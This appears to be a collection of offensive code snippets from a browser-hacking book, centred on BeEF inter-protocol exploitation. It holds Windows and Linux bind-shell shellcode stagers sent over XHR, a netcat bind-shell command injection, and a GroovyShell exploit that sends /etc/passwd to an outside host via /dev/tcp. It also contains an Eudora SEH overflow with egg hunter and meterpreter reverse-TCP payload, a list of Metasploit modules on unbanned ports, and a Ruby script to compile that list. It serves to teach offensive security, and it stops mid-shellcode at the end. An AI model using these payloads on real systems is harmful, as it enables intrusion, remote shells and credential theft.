xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        console.log(xhr.responseText);
    }
}
xhr.open("POST", uri + ":" + port , true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
xhr.send("cmd=" + cmd);

BeEF Bind - Send Stage (Windows x86)

// BeEF Bind Windows 32bit Stage
var BeEF_Bind_Stage = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52"+
"\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c"+
"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10"+
"\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48"+
"\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31"+
"\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"+
"\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"+
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0"+
"\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xbb\x00\x10\x00\x00\x6a\x40\x53\x53"+
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x89\xc6\x68\x01\x00\x00\x00\x68"+
"\x00\x00\x00\x00\x68\x0c\x00\x00\x00\x68\x00\x00\x00\x00\x89\xe3\x68"+
"\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x0c\x57\x53"+
"\x51\x68\x3e\xcf\xaf\x0e\xff\xd5\x68\x00\x00\x00\x00\x89\xe3\x68\x00"+
"\x00\x00\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c\x24\x14\x57\x53\x51"+
"\x68\x3e\xcf\xaf\x0e\xff\xd5\x8b\x5c\x24\x08\x68\x00\x00\x00\x00\x68"+
"\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x8b\x5c\x24\x04\x68"+
"\x00\x00\x00\x00\x68\x01\x00\x00\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5"+
"\x89\xf7\x68\x63\x6d\x64\x00\x89\xe3\xff\x74\x24\x10\xff\x74\x24\x14"+
"\xff\x74\x24\x0c\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"+
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"+
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xfe\xb9\xf8\x0f\x00"+
"\x00\x8d\x46\x08\xc6\x00\x00\x40\xe2\xfa\x56\x8d\xbe\x18\x04\x00\x00"+
"\xe8\x62\x00\x00\x00\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30"+
"\x20\x4f\x4b\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"+
"\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0d\x0a\x41\x63\x63\x65"+
"\x73\x73\x2d\x43\x6f\x6e\x74\x72\x6f\x6c\x2d\x41\x6c\x6c\x6f\x77\x2d"+
"\x4f\x72\x69\x67\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e"+
"\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x31\x36\x0d\x0a\x0d"+
"\x0a\x5e\xb9\x62\x00\x00\x00\xf3\xa4\x5e\x56\x68\x33\x32\x00\x00\x68"+
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00"+
"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50"+
"\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02\x00\x11"+
"\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68"+
"\xb7\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57"+
"\x97\x68\x75\x6e\x4d\x61\xff\xd5\x81\xc4\xa0\x01\x00\x00\x5e\x89\x3e"+
"\x6a\x00\x68\x00\x04\x00\x00\x89\xf3\x81\xc3\x08\x00\x00\x00\x53\xff"+
"\x36\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x54\x24\x64\xb9\x00\x04\x00\x00"+
"\x81\x3b\x63\x6d\x64\x3d\x74\x06\x43\x49\xe3\x3a\xeb\xf2\x81\xc3\x03"+
"\x00\x00\x00\x43\x53\x68\x00\x00\x00\x00\x8d\xbe\x10\x04\x00\x00\x57"+
"\x68\x01\x00\x00\x00\x53\x8b\x5c\x24\x70\x53\x68\x2d\x57\xae\x5b\xff"+
"\xd5\x5b\x80\x3b\x0a\x75\xda\x68\xe8\x03\x00\x00\x68\x44\xf0\x35\xe0"+
"\xff\xd5\x31\xc0\x50\x8d\x5e\x04\x53\x50\x50\x50\x8d\x5c\x24\x74\x8b"+
"\x1b\x53\x68\x18\xb7\x3c\xb3\xff\xd5\x85\xc0\x74\x44\x8b\x46\x04\x85"+
"\xc0\x74\x3d\x68\x00\x00\x00\x00\x8d\xbe\x14\x04\x00\x00\x57\x68\x86"+
"\x0b\x00\x00\x8d\xbe\x7a\x04\x00\x00\x57\x8d\x5c\x24\x70\x8b\x1b\x53"+
"\x68\xad\x9e\x5f\xbb\xff\xd5\x6a\x00\x68\xe8\x0b\x00\x00\x8d\xbe\x18"+
"\x04\x00\x00\x57\xff\x36\x68\xc2\xeb\x38\x5f\xff\xd5\xff\x36\x68\xc6"+
"\x96\x87\x52\xff\xd5\xe9\x38\xfe\xff\xff";
    
var uri = "http://172.16.37.151:4444/"; 
xhr = new XMLHttpRequest(); 
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
xhr.sendAsBinary("cmd=" + BeEF_Bind_Stage);

Inter-protocol Exploitation - EXTRACT exploit

var cmd = "{netcat,-l,-p,1337,-e,/bin/bash}";
var payload = 'createuser '+cmd+'&>/dev/null; echo;\r\nquit\r\n';
beef.dom.createIframeIpecForm(host, port, "/index.html", payload);

Inter-protocol Exploitation - GroovyShell exploit

var rhost = '192.168.0.100'; 
var rport = '6789';

// /dev/tcp is supported in most 
// Linux distributions (Debian, Ubuntu, etc..)
var cmd = 'cat /etc/passwd >/dev/tcp/browserhacker.com/8888';

// create the final payload using Groovy's
// "command".execute() method
var payload = "\r\ndiscard\r\nprintln '" + cmd + 
"'.execute().text\r\ngo\r\nexit\r\n";

// send the POST request
beef.dom.createIframeIpecForm(rhost, rport, "/", payload);

Inter-protocol Exploitation - Eudora exploit (BeEF Bind payload)

// BeEF Bind stager
var stager = "B33FB33F" + 
"\xba\x6a\x99\xf8\x25\xd9\xcc\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x4b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x9f\x65" +
"\x10\xac\x5f\x96\xe1\xcf\xd6\x73\xd0\xdd\x8c\xf0\x41\xd2" +
"\xc7\x55\x6a\x99\x85\x4d\xf9\xef\x01\x61\x4a\x45\x77\x4c" +
"\x4b\x6b\xb7\x02\x8f\xed\x4b\x59\xdc\xcd\x72\x92\x11\x0f" +
"\xb3\xcf\xda\x5d\x6c\x9b\x49\x72\x19\xd9\x51\x73\xcd\x55" +
"\xe9\x0b\x68\xa9\x9e\xa1\x73\xfa\x0f\xbd\x3b\xe2\x24\x99" +
"\x9b\x13\xe8\xf9\xe7\x5a\x85\xca\x9c\x5c\x4f\x03\x5d\x6f" +
"\xaf\xc8\x60\x5f\x22\x10\xa5\x58\xdd\x67\xdd\x9a\x60\x70" +
"\x26\xe0\xbe\xf5\xba\x42\x34\xad\x1e\x72\x99\x28\xd5\x78" +
"\x56\x3e\xb1\x9c\x69\x93\xca\x99\xe2\x12\x1c\x28\xb0\x30" +
"\xb8\x70\x62\x58\x99\xdc\xc5\x65\xf9\xb9\xba\xc3\x72\x2b" +
"\xae\x72\xd9\x24\x03\x49\xe1\xb4\x0b\xda\x92\x86\x94\x70" +
"\x3c\xab\x5d\x5f\xbb\xcc\x77\x27\x53\x33\x78\x58\x7a\xf0" +
"\x2c\x08\x14\xd1\x4c\xc3\xe4\xde\x98\x44\xb4\x70\x73\x25" +
"\x64\x31\x23\xcd\x6e\xbe\x1c\xed\x91\x14\x35\xdf\xb6\xc4" +
"\x52\x22\x48\xfa\xfe\xab\xae\x96\xee\xfd\x79\x0f\xcd\xd9" +
"\xb2\xa8\x2e\x08\xef\x61\xb9\x04\xe6\xb6\xc6\x94\x2d\x95" +
"\x6b\x3c\xa5\x6e\x60\xf9\xd4\x70\xad\xa9\x81\xe7\x3b\x38" +
"\xe0\x96\x3c\x11\x41\x58\xd3\x9a\xb5\x33\x93\xc9\xe6\xa9" +
"\x13\x86\x50\x8a\x47\xb3\x9f\x07\xee\xfd\x35\xa8\xa2\x51" +
"\x9e\xc0\x46\x8b\xe8\x4e\xb8\xfe\xbf\x18\x80\x97\xb8\x8b" +
"\xf3\x4d\x47\x15\x6f\x03\x23\x57\x1b\xd8\xed\x4c\x16\x5d" +
"\x37\x96\x26\x84";


/*
 * Egg Hunter (Skape's NtDisplayString technique).
 * Original size: 32 bytes
 */
var egg_hunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" +
"\xef\xb8\x42\x33\x33\x46\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
var next_seh   = "\xeb\x06\x90\x90";
var seh        = "\x4e\x3b\x01\x10"; // POP ECX mailcmn.dll

gen_nops = function(count){
        var i = 0;
        var result = "";
        while(i < count ){ result += "\x90";i++;}
        log("gen_nops: generated " + result.length + " nops.");
        return result;
};

var available_space = 769;
var headers_size = 423;
// bytes of NOPs to generate -> 21
var junk = available_space - stager.length - headers_size; 
var junk_data = gen_nops(junk);

// final shellcode
var payload = junk_data + stager + next_seh + seh + egg_hunter;

var url = "http://172.16.37.151:143/";
var xhr = new XMLHttpRequest();
// for WebKit-based browsers
if (!XMLHttpRequest.prototype.sendAsBinary) {
  XMLHttpRequest.prototype.sendAsBinary = function (sData) {
    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
    }
    /* send as ArrayBufferView...: */
    this.send(ui8Data);
  };
}
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");

var post_body = "a001 LIST " + "}" + payload + "}" + "\r\n";
xhr.sendAsBinary(post_body);

Inter-protocol Exploitation - Eudora exploit (Meterpreter payload)

// windows/meterpreter/reverse_tcp - 317 bytes (stage 1)
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// VERBOSE=false, LHOST=172.16.37.1, LPORT=9999, 

var stager = "B33FB33F" +
"\xda\xdf\xd9\x74\x24\xf4\xbe\xba\xeb\xc6\xfc\x5a\x29\xc9" +
"\xb1\x49\x83\xea\xfc\x31\x72\x15\x03\x72\x15\x58\x1e\x3a" +
"\x14\x15\xe1\xc3\xe5\x45\x6b\x26\xd4\x57\x0f\x22\x45\x67" +
"\x5b\x66\x66\x0c\x09\x93\xfd\x60\x86\x94\xb6\xce\xf0\x9b" +
"\x47\xff\x3c\x77\x8b\x9e\xc0\x8a\xd8\x40\xf8\x44\x2d\x81" +
"\x3d\xb8\xde\xd3\x96\xb6\x4d\xc3\x93\x8b\x4d\xe2\x73\x80" +
"\xee\x9c\xf6\x57\x9a\x16\xf8\x87\x33\x2d\xb2\x3f\x3f\x69" +
"\x63\x41\xec\x6a\x5f\x08\x99\x58\x2b\x8b\x4b\x91\xd4\xbd" +
"\xb3\x7d\xeb\x71\x3e\x7c\x2b\xb5\xa1\x0b\x47\xc5\x5c\x0b" +
"\x9c\xb7\xba\x9e\x01\x1f\x48\x38\xe2\xa1\x9d\xde\x61\xad" +
"\x6a\x95\x2e\xb2\x6d\x7a\x45\xce\xe6\x7d\x8a\x46\xbc\x59" +
"\x0e\x02\x66\xc0\x17\xee\xc9\xfd\x48\x56\xb5\x5b\x02\x75" +
"\xa2\xdd\x49\x12\x07\xd3\x71\xe2\x0f\x64\x01\xd0\x90\xde" +
"\x8d\x58\x58\xf8\x4a\x9e\x73\xbc\xc5\x61\x7c\xbc\xcc\xa5" +
"\x28\xec\x66\x0f\x51\x67\x77\xb0\x84\x27\x27\x1e\x77\x87" +
"\x97\xde\x27\x6f\xf2\xd0\x18\x8f\xfd\x3a\x31\x25\x07\xad" +
"\x92\xa9\x22\x2c\x83\xcb\x2c\x09\x5c\x42\xca\x3f\x72\x02" +
"\x44\xa8\xeb\x0f\x1e\x49\xf3\x9a\x5a\x49\x7f\x28\x9a\x04" +
"\x88\x45\x88\xf1\x78\x10\xf2\x54\x86\x8f\x99\x58\x12\x2b" +
"\x08\x0e\x8a\x31\x6d\x78\x15\xca\x58\xf2\x9c\x5e\x23\x6d" +
"\xe1\x8e\xa3\x6d\xb7\xc4\xa3\x05\x6f\xbc\xf7\x30\x70\x69" +
"\x64\xe9\xe5\x91\xdd\x5d\xad\xf9\xe3\xb8\x99\xa6\x1c\xef" +
"\x1b\x9b\xca\xd6\x99\xed\x78\x3b\x62";

/*
 * Egg Hunter (Skape's NtDisplayString technique).
 * Original size: 32 bytes
 */
var egg_hunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" +
"\xef\xb8\x42\x33\x33\x46\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
var next_seh   = "\xeb\x06\x90\x90";
var seh        = "\x4e\x3b\x01\x10"; // POP ECX mailcmn.dll

gen_nops = function(count){
        var i = 0;
        var result = "";
        while(i < count ){ result += "\x90";i++;}
        log("gen_nops: generated " + result.length + " nops.");
        return result;
};

var available_space = 769;
var headers_size = 423;
// bytes of NOPs to generate -> 21
var junk = available_space - stager.length - headers_size; 
var junk_data = gen_nops(junk);

// final shellcode
var payload = junk_data + stager + next_seh + seh + egg_hunter;

var url = "http://172.16.37.151:143/";
var xhr = new XMLHttpRequest();
// for WebKit-based browsers
if (!XMLHttpRequest.prototype.sendAsBinary) {
  XMLHttpRequest.prototype.sendAsBinary = function (sData) {
    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
    }
    /* send as ArrayBufferView...: */
    this.send(ui8Data);
  };
}
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");

var post_body = "a001 LIST " + "}" + payload + "}" + "\r\n";
xhr.sendAsBinary(post_body);

Metasploit Exploits (TCP-only) on not-port-banned ports (updated as Nov 2013)

++++++++++++[ Metasploit Exploits (TCP-only) on not-banned ports ]++++++++++++++
++++++++++++[ Ports 80,443,8080,8443 are excluded as well ]++++++++++++++
linux/misc/gld_postfix.rb -- port: 2525
linux/misc/hp_data_protector_cmd_exec.rb -- port: 5555
linux/misc/hplip_hpssd_exec.rb -- port: 2207
linux/misc/ib_inet_connect.rb -- port: 3050
linux/misc/ib_jrd8_create_database.rb -- port: 3050
linux/misc/ib_open_marker_file.rb -- port: 3050
linux/misc/ib_pwd_db_aliased.rb -- port: 3050
linux/misc/mongod_native_helper.rb -- port: 27017
linux/misc/nagios_nrpe_arguments.rb -- port: 5666
linux/misc/netsupport_manager_agent.rb -- port: 5405
linux/misc/novell_edirectory_ncp_bof.rb -- port: 524
linux/misc/zabbix_server_exec.rb -- port: 10051
linux/mysql/mysql_yassl_getname.rb -- port: 3306
linux/mysql/mysql_yassl_hello.rb -- port: 3306
linux/pptp/poptop_negative_read.rb -- port: 1723
linux/upnp/miniupnpd_soap_bof.rb -- port: 5555
multi/misc/indesign_server_soap.rb -- port: 12345
multi/misc/java_rmi_server.rb -- port: 1099
multi/misc/openview_omniback_exec.rb -- port: 5555
multi/misc/pbot_exec.rb -- port: 6667
multi/misc/ra1nx_pubcall_exec.rb -- port: 6667
multi/misc/zend_java_bridge.rb -- port: 10001
multi/sap/sap_mgmt_con_osexec_payload.rb -- port: 50013
multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb -- port: 8000
multi/sap/sap_soap_rfc_sxpg_command_exec.rb -- port: 8000
multi/svn/svnserve_date.rb -- port: 3690
multi/upnp/libupnp_ssdp_overflow.rb -- port: 1900
osx/afp/loginext.rb -- port: 548
solaris/dtspcd/heap_noir.rb -- port: 6112
unix/irc/unreal_ircd_3281_backdoor.rb -- port: 6667
unix/misc/distcc_exec.rb -- port: 3632
unix/misc/qnx_qconn_exec.rb -- port: 8000
unix/misc/spamassassin_exec.rb -- port: 783
unix/misc/zabbix_agent_exec.rb -- port: 10050
unix/webapp/oracle_vm_agent_utl.rb -- port: 8899
unix/webapp/qtss_parse_xml_exec.rb -- port: 1220
unix/webapp/webmin_show_cgi_exec.rb -- port: 10000
windows/antivirus/ams_hndlrsvc.rb -- port: 38292
windows/antivirus/ams_xfr.rb -- port: 12174
windows/antivirus/symantec_iao.rb -- port: 38292
windows/antivirus/symantec_rtvscan.rb -- port: 2967
windows/antivirus/trendmicro_serverprotect.rb -- port: 5168
windows/antivirus/trendmicro_serverprotect_createbinding.rb -- port: 5168
windows/antivirus/trendmicro_serverprotect_earthagent.rb -- port: 3628
windows/backdoor/energizer_duo_payload.rb -- port: 7777
windows/backupexec/name_service.rb -- port: 6101
windows/backupexec/remote_agent.rb -- port: 10000
windows/brightstor/ca_arcserve_342.rb -- port: 6504
windows/brightstor/discovery_tcp.rb -- port: 41523
windows/brightstor/hsmserver.rb -- port: 2000
windows/brightstor/lgserver.rb -- port: 1900
windows/brightstor/lgserver_multi.rb -- port: 1900
windows/brightstor/lgserver_rxrlogin.rb -- port: 1900
windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb -- port: 1900
windows/brightstor/lgserver_rxsuselicenseini.rb -- port: 1900
windows/brightstor/license_gcr.rb -- port: 10202
windows/brightstor/message_engine.rb -- port: 6503
windows/brightstor/message_engine_72.rb -- port: 6504
windows/brightstor/message_engine_heap.rb -- port: 6503
windows/brightstor/sql_agent.rb -- port: 6070
windows/brightstor/tape_engine.rb -- port: 6502
windows/brightstor/tape_engine_8A.rb -- port: 6502
windows/brightstor/universal_agent.rb -- port: 6050
windows/dcerpc/ms05_017_msmq.rb -- port: 2103
windows/dcerpc/ms07_029_msdns_zonename.rb -- port: 0
windows/dcerpc/ms07_065_msmq.rb -- port: 2103
windows/emc/alphastor_agent.rb -- port: 41025
windows/firewall/kerio_auth.rb -- port: 44334
windows/ftp/oracle9i_xdb_ftp_pass.rb -- port: 2100
windows/ftp/oracle9i_xdb_ftp_unlock.rb -- port: 2100
windows/ftp/sasser_ftpd_port.rb -- port: 5554
windows/license/calicclnt_getconfig.rb -- port: 10203
windows/license/calicserv_getconfig.rb -- port: 10202
windows/license/flexnet_lmgrd_bof.rb -- port: 27000
windows/lotus/domino_sametime_stmux.rb -- port: 1533
windows/lpd/wincomlpd_admin.rb -- port: 13500
windows/misc/agentxpp_receive_agentx.rb -- port: 705
windows/misc/allmediaserver_bof.rb -- port: 888
windows/misc/asus_dpcproxy_overflow.rb -- port: 623
windows/misc/avidphoneticindexer.rb -- port: 4659
windows/misc/bakbone_netvault_heap.rb -- port: 20031
windows/misc/bcaaa_bof.rb -- port: 16102
windows/misc/bigant_server.rb -- port: 6080
windows/misc/bigant_server_250.rb -- port: 6660
windows/misc/bigant_server_dupf_upload.rb -- port: 6661
windows/misc/bigant_server_sch_dupf_bof.rb -- port: 6661
windows/misc/bigant_server_usv.rb -- port: 6660
windows/misc/bopup_comm.rb -- port: 19810
windows/misc/borland_interbase.rb -- port: 3050
windows/misc/borland_starteam.rb -- port: 3057
windows/misc/doubletake.rb -- port: 1100
windows/misc/eiqnetworks_esa.rb -- port: 10616
windows/misc/eiqnetworks_esa_topology.rb -- port: 10628
windows/misc/fb_cnct_group.rb -- port: 3050
windows/misc/fb_isc_attach_database.rb -- port: 3050
windows/misc/fb_isc_create_database.rb -- port: 3050
windows/misc/fb_svc_attach.rb -- port: 3050
windows/misc/gimp_script_fu.rb -- port: 10008
windows/misc/hp_dataprotector_dtbclslogin.rb -- port: 3817
windows/misc/hp_dataprotector_new_folder.rb -- port: 3817
windows/misc/hp_magentservice.rb -- port: 23472
windows/misc/hp_omniinet_1.rb -- port: 5555
windows/misc/hp_omniinet_2.rb -- port: 5555
windows/misc/hp_omniinet_3.rb -- port: 5555
windows/misc/hp_omniinet_4.rb -- port: 5555
windows/misc/hp_ovtrace.rb -- port: 5051
windows/misc/ib_isc_attach_database.rb -- port: 3050
windows/misc/ib_isc_create_database.rb -- port: 3050
windows/misc/ib_svc_attach.rb -- port: 3050
windows/misc/ibm_cognos_tm1admsd_bof.rb -- port: 5498
windows/misc/ibm_director_cim_dllinject.rb -- port: 6988
windows/misc/ibm_tsm_cad_ping.rb -- port: 1582
windows/misc/ibm_tsm_rca_dicugetidentify.rb -- port: 1582
windows/misc/lianja_db_net.rb -- port: 8001
windows/misc/mercury_phonebook.rb -- port: 105
windows/misc/ms10_104_sharepoint.rb -- port: 8082
windows/misc/nettransport.rb -- port: 22222
windows/misc/poisonivy_bof.rb -- port: 3460
windows/misc/sap_2005_license.rb -- port: 30000
windows/misc/sap_netweaver_dispatcher.rb -- port: 3200
windows/misc/shixxnote_font.rb -- port: 2000
windows/misc/tiny_identd_overflow.rb -- port: 113
windows/misc/trendmicro_cmdprocessor_addtask.rb -- port: 20101
windows/mmsp/ms10_025_wmss_connect_funnel.rb -- port: 1755
windows/motorola/timbuktu_fileupload.rb -- port: 407
windows/mysql/mysql_yassl_hello.rb -- port: 3306
windows/novell/file_reporter_fsfui_upload.rb -- port: 3037
windows/novell/nmap_stor.rb -- port: 689
windows/novell/zenworks_preboot_op21_bof.rb -- port: 998
windows/novell/zenworks_preboot_op4c_bof.rb -- port: 998
windows/novell/zenworks_preboot_op6_bof.rb -- port: 998
windows/novell/zenworks_preboot_op6c_bof.rb -- port: 998
windows/oracle/client_system_analyzer_upload.rb -- port: 1158
windows/oracle/osb_ndmp_auth.rb -- port: 10000
windows/oracle/tns_arguments.rb -- port: 1521
windows/oracle/tns_auth_sesskey.rb -- port: 1521
windows/oracle/tns_service_name.rb -- port: 1521
windows/proxy/proxypro_http_get.rb -- port: 3128
windows/scada/citect_scada_odbc.rb -- port: 20222
windows/scada/codesys_gateway_server_traversal.rb -- port: 1211
windows/scada/factorylink_csservice.rb -- port: 7580
windows/scada/factorylink_vrn_09.rb -- port: 7579
windows/scada/iconics_genbroker.rb -- port: 38080
windows/scada/igss9_igssdataserver_listall.rb -- port: 12401
windows/scada/igss9_igssdataserver_rename.rb -- port: 12401
windows/scada/igss9_misc.rb -- port: 0
windows/scada/indusoft_webstudio_exec.rb -- port: 4322
windows/scada/realwin.rb -- port: 910
windows/scada/realwin_on_fc_binfile_a.rb -- port: 910
windows/scada/realwin_on_fcs_login.rb -- port: 910
windows/scada/realwin_scpc_initialize.rb -- port: 912
windows/scada/realwin_scpc_initialize_rf.rb -- port: 912
windows/scada/realwin_scpc_txtevent.rb -- port: 912
windows/scada/scadapro_cmdexe.rb -- port: 11234
windows/scada/sunway_force_control_netdbsrv.rb -- port: 2001
windows/scada/winlog_runtime.rb -- port: 46823
windows/scada/winlog_runtime_2.rb -- port: 46824
windows/smb/ms09_050_smb2_negotiate_func_index.rb -- port: 445
windows/telnet/goodtech_telnet.rb -- port: 2380
windows/vnc/winvnc_http_get.rb -- port: 5800

Ruby script to grep MSF modules for IPX candidates

#!/usr/bin/ruby

# the following file is the result of
# grep -ri "Opt::RPORT" * 
# from within the modules/exploits directory of metasploit 
# I've also manually removed HTTP-based exploits (some of them use a non-standard HTTP port :-)
# Bear in mind there are some MSF modules without an explicit port definition
msf_grep = "msf_rport_grep"
msf_home = "/Users/mOrrĂ¹/WORKS/metasploit/metasploit-git"
port_banning_ports = 
   [1,7,9,11,13,15,17,19,20,21,22,23,25,37,42,
	43,53,77,79,87,95,101,102,103,104,109,110,
	111,115,117,119,123,135,139,143,179,389,465,
	512,513,514,515,526,530,531,532,540,556,563,
	587,601,636,993,995,2049,4045,6000, 
    80,443,8080,8443] # these 4 are just HTTP (not-port banned)
    # but we want to target non-http servieces, not port-bannd
puts "++++++++++++[ Metasploit Exploits (TCP-only) on not-banned ports ]++++++++++++++"
puts "++++++++++++[ Ports 80,443,8080,8443 are excluded as well ]++++++++++++++"

IO.foreach(msf_grep) do |line| 
	port = line.split("Opt::RPORT(").last.split(")").first.split(",").first
	msf_mod = line.split(":").first
	# check if the port is not port-banned
	if not port_banning_ports.include? port.to_i
		# check if the exploit is not using UDP
		is_tcp = true
		IO.foreach("#{msf_home}/modules/exploits/#{msf_mod}") do |m_line|
			if m_line.include? "connect_udp"
				is_tcp = false
				break
			end
		end
		# returns the module path and port number
		if is_tcp
			puts "#{msf_mod} -- port: #{port}"
		end
	end
end

BeEF Bind Linux - XHR client

var uri = "http://172.16.37.155:4444/";
var cmd = "id";	
xhr = new XMLHttpRequest();	
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        console.log(xhr.responseText);
    }
}
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
xhr.send("cmd=" + cmd + "\n");

BeEF Bind Linux - 32bit Send Stage

// BeEF Bind Linux_32bit Stage
var BeEF_Bind_Stage = "\xfc\x31\xd2\x6a\x02\x59\x52\x52\x89\xe3\x6a\x2a\x58" + 
    "\xcd\x80\x49\x67\xe3\x02\xeb\xf1\x31\xdb\x6a\x02\x58\xcd\x80\x3d\x00\x00" +
    "\x00\x00\x0f\x84\xe4\x01\x00\x00\x8b\x5c\x24\x08\x6a\x06\x58\xcd\x80\x8b" + 
    "\x5c\x24\x04\x6a\x06\x58\xcd\x80\x8b\x1c\x24\x6a\x04\x59\x68\x00\x08\x00" + 
    "\x00\x5a\x6a\x37\x58\xcd\x80\x6a\x00\x68\xff\xff\xff\xff\x6a\x22\x6a\x07" + 
    "\x68\x00\x10\x00\x00\x68\x00\x00\x00\x00\x89\xe3\x6a\x5a\x58\xcd\x80\x89" + 
    "\xc7\x81\xc4\x18\x00\x00\x00\x31\xd2\x31\xc0\x6a\x01\x5b\x50\x40\x50\x40" + 
    "\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc6\x81\xc4\x0c\x00\x00\x00\x6a\x0e" + 
    "\x5b\x6a\x04\x54\x6a\x02\x6a\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80\x81\xc4" + 
    "\x14\x00\x00\x00\x6a\x02\x5b\x52\x68\x02\x00\x11\x5c\x89\xe1\x6a\x10\x51" + 
    "\x56\x89\xe1\x6a\x66\x58\xcd\x80\x81\xc4\x14\x00\x00\x00\x43\x43\x53\x56" + 
    "\x89\xe1\x6a\x66\x58\xcd\x80\x81\xc4\x08\x00\x00\x00\x43\x52\x52\x56\x89" + 
    "\xe1\x6a\x66\x58\xcd\x80\x81\xc4\x0c\x00\x00\x00\x96\x93\xb8\x06\x00\x00" + 
    "\x00\xcd\x80\xb9\x00\x10\x00\x00\x49\x89\xfb\x01\xcb\xc6\x03\x00\xe3\x05" + 
    "\xe9\xf1\xff\xff\xff\x66\xba\x00\x04\x89\xf9\x89\xf3\x6a\x03\x58\xcd\x80" + 
    "\x57\x56\x89\xfb\xb9\x00\x04\x00\x00\x81\x3b\x63\x6d\x64\x3d\x74\x09\x43" + 
    "\x49\xe3\x3a\xe9\xef\xff\xff\xff\x89\xd9\x81\xc1\x03\x00\x00\x00\x8b\x5c" + 
    "\x24\x14\x41\x6a\x01\x5a\x6a\x04\x58\xcd\x80\x80\x39\x0a\x75\xf2\x68\x00" + 
    "\x00\x00\x00\x68\x01\x00\x00\x00\x89\xe3\x31\xc9\xb8\xa2\x00\x00\x00\xcd" + 
    "\x80\x81\xc4\x08\x00\x00\x00\xe8\x62\x00\x00\x00\x48\x54\x54\x50\x2f\x31" + 
    "\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74" + 
    "\x2d\x54\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0d\x0a" + 
    "\x41\x63\x63\x65\x73\x73\x2d\x43\x6f\x6e\x74\x72\x6f\x6c\x2d\x41\x6c\x6c" + 
    "\x6f\x77\x2d\x4f\x72\x69\x67\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e\x74" + 
    "\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x34\x38\x0d\x0a" + 
